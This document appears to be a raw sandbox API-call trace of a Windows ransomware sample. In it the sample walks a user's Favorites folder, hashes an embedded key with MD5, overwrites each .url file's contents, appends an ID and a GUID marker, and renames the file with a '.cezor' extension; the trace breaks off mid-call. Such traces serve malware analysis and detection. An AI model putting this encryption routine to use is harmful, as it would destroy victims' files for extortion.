[0060.952] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0060.952] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306da50 | out: hHeap=0x670000) returned 1 [0060.952] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306da50 [0060.952] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0060.952] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.952] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306da50 | out: hHeap=0x670000) returned 1 [0060.952] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306da50 [0060.952] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0060.952] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.952] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306da50 | out: hHeap=0x670000) returned 1 [0060.952] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306da50 [0060.952] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.952] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.952] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306da50 | out: hHeap=0x670000) returned 1 [0060.952] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306da50 [0060.952] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.952] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.952] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306da50 | out: hHeap=0x670000) returned 1 [0060.952] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306da50 [0060.952] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.952] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.952] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306da50 | out: hHeap=0x670000) returned 1 [0060.953] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306da50 [0060.953] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.953] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.953] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306da50 | out: hHeap=0x670000) returned 1 [0060.953] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306da50 [0060.953] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.953] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.953] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306da50 | out: hHeap=0x670000) returned 1 [0060.953] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306da50 [0060.953] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.953] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.953] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306da50 | out: hHeap=0x670000) returned 1 [0060.953] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306da50 [0060.953] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.953] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.953] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306da50 | out: hHeap=0x670000) returned 1 [0060.953] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306da50 [0060.953] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.953] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0060.953] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.953] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0060.953] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306da50 | out: hHeap=0x670000) returned 1 [0060.953] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306da50 [0060.953] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.953] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.953] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306da50 | out: hHeap=0x670000) returned 1 [0060.953] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306da50 [0060.953] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0060.953] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0060.953] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306da50 | out: hHeap=0x670000) returned 1 [0060.953] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306da50 [0060.953] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0060.954] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0060.954] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306da50 | out: hHeap=0x670000) returned 1 [0060.954] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306da50 [0060.954] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.954] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.954] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306da50 | out: hHeap=0x670000) returned 1 [0060.954] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306da50 [0060.954] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.954] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.954] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306da50 | out: hHeap=0x670000) returned 1 [0060.954] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306da50 [0060.954] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.954] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0060.954] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.954] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0060.954] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306da50 | out: hHeap=0x670000) returned 1 [0060.954] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306da50 [0060.954] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0060.954] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.954] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306da50 | out: hHeap=0x670000) returned 1 [0060.954] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306da50 [0060.954] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.954] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.954] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306da50 | out: hHeap=0x670000) returned 1 [0060.954] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306da50 [0060.955] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.955] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.955] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306da50 | out: hHeap=0x670000) returned 1 [0060.955] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306da50 [0060.955] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.955] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.955] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306da50 | out: hHeap=0x670000) returned 1 [0060.955] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306da50 [0060.955] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.955] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.955] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306da50 | out: hHeap=0x670000) returned 1 [0060.955] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306da50 [0060.955] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.955] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.955] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306da50 | out: hHeap=0x670000) returned 1 [0060.955] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306da50 [0060.955] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\") returned="MSN Websites\\" [0060.955] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5770 [0060.955] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f63c0 [0060.955] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306da50 | out: hHeap=0x670000) returned 1 [0060.955] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\") returned="Favorites\\" [0060.955] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x30180d0 [0060.955] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f63c0 | out: hHeap=0x670000) returned 1 [0060.955] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0060.955] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4898 [0060.955] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5770 | out: hHeap=0x670000) returned 1 [0060.955] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5770 [0060.955] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30180d0 | out: hHeap=0x670000) returned 1 [0060.955] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0060.955] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5770 | out: hHeap=0x670000) returned 1 [0060.956] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0060.956] PathFindFileNameW (pszPath="") returned="" [0060.956] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306da50 [0060.956] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0060.956] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306da50 | out: hHeap=0x670000) returned 1 [0060.956] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.956] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN Autos.url", cAlternateFileName="MSNAUT~1.URL")) returned 1 [0060.956] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306da50 [0060.957] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa6) returned 0x2fedd78 [0060.957] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306da50 | out: hHeap=0x670000) returned 1 [0060.957] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url") returned=".url" [0060.957] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn autos.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0060.957] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=133) returned 1 [0060.957] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0060.959] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.959] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0060.960] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4940 [0060.960] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0060.960] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0060.960] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x85, lpOverlapped=0x0) returned 1 [0060.960] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.960] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25) returned 0x310b770 [0060.960] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.960] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.961] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74ebc8) returned 1 [0060.961] CryptCreateHash (in: hProv=0x74ebc8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0060.961] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0060.961] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0060.961] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x3033b68 [0060.961] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0060.961] GetLastError () returned 0x0 [0060.961] CryptDestroyHash (hHash=0x3038608) returned 1 [0060.961] CryptReleaseContext (hProv=0x74ebc8, dwFlags=0x0) returned 1 [0060.961] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0060.962] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301db48 [0060.962] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0060.962] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0060.962] WriteFile (in: hFile=0x5c4, lpBuffer=0x301db48*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x9aafb24, lpOverlapped=0x0 | out: lpBuffer=0x301db48*, lpNumberOfBytesWritten=0x9aafb24*=0x80, lpOverlapped=0x0) returned 1 [0060.962] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301db48 | out: hHeap=0x670000) returned 1 [0060.962] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.962] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f63c0 [0060.962] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x428) returned 0x312a430 [0060.962] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x312a430, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 41 [0060.962] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x430) returned 0x312a878 [0060.962] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a430 | out: hHeap=0x670000) returned 1 [0060.962] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f63c0 | out: hHeap=0x670000) returned 1 [0060.962] WriteFile (in: hFile=0x5c4, lpBuffer=0x312a878*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x312a878*, lpNumberOfBytesWritten=0x9aafb2c*=0x28, lpOverlapped=0x0) returned 1 [0060.962] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a878 | out: hHeap=0x670000) returned 1 [0060.962] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0060.962] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0060.962] CloseHandle (hObject=0x5c4) returned 1 [0060.963] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301db48 [0060.963] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8a0) returned 0x3100c28 [0060.963] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301db48 | out: hHeap=0x670000) returned 1 [0060.964] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn autos.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn autos.url.cezor")) returned 1 [0060.964] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0060.964] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0060.965] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2fedd78 | out: hHeap=0x670000) returned 1 [0060.965] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN Entertainment.url", cAlternateFileName="MSNENT~1.URL")) returned 1 [0060.965] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306da50 [0060.965] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa6) returned 0x2fedd78 [0060.965] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306da50 | out: hHeap=0x670000) returned 1 [0060.965] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Entertainment.url") returned=".url" [0060.965] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Entertainment.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn entertainment.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0060.966] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=133) returned 1 [0060.966] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0060.969] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.969] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0060.969] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4940 [0060.969] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0060.970] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0060.970] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x85, lpOverlapped=0x0) returned 1 [0060.970] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.970] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25) returned 0x310b770 [0060.970] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.970] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.970] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74ebc8) returned 1 [0060.970] CryptCreateHash (in: hProv=0x74ebc8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0060.970] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0060.971] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0060.971] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x3033b68 [0060.971] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0060.971] GetLastError () returned 0x0 [0060.971] CryptDestroyHash (hHash=0x3038608) returned 1 [0060.971] CryptReleaseContext (hProv=0x74ebc8, dwFlags=0x0) returned 1 [0060.971] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0060.971] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301db48 [0060.971] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0060.971] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0060.971] WriteFile (in: hFile=0x5c4, lpBuffer=0x301db48*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x9aafb24, lpOverlapped=0x0 | out: lpBuffer=0x301db48*, lpNumberOfBytesWritten=0x9aafb24*=0x80, lpOverlapped=0x0) returned 1 [0060.971] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301db48 | out: hHeap=0x670000) returned 1 [0060.971] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.971] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f63c0 [0060.971] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x428) returned 0x312a878 [0060.971] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x312a878, cbMultiByte=1064, 